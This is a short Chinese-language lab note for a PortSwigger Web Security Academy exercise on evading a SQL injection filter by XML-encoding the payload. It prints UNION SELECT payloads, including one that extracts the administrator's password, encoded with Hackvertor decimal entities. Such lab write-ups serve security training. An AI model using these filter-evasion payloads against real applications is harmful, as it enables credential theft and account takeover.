> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md).
# 通过 XML 编码绕过 SQL 注入过滤器
通过 XML 编码绕过 SQL 注入过滤器笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 通过 XML 编码绕过过滤的 SQL 注入
此实验室在库存验证功能中存在 SQL 注入漏洞。请求的结果会在应用响应中返回；因此我们可以使用一种 `UNION` 攻击来恢复其他表中的数据。/ 数据库包含一个 `users` 包含已注册用户用户名和密码的表。要解决该实验室，请执行 SQL 注入攻击以获取管理员用户 ID，然后登录其账户。
示例：
{% code overflow="wrap" %}
```xml
22 union select 1
```
{% endcode %}
* Hackvertor 扩展 — 十进制实体
{% code overflow="wrap" %}
```xml
2<@dec_entities>2 union select 1
<@dec_entities>
2 union select password from users where username='administrator'
```
{% endcode %}
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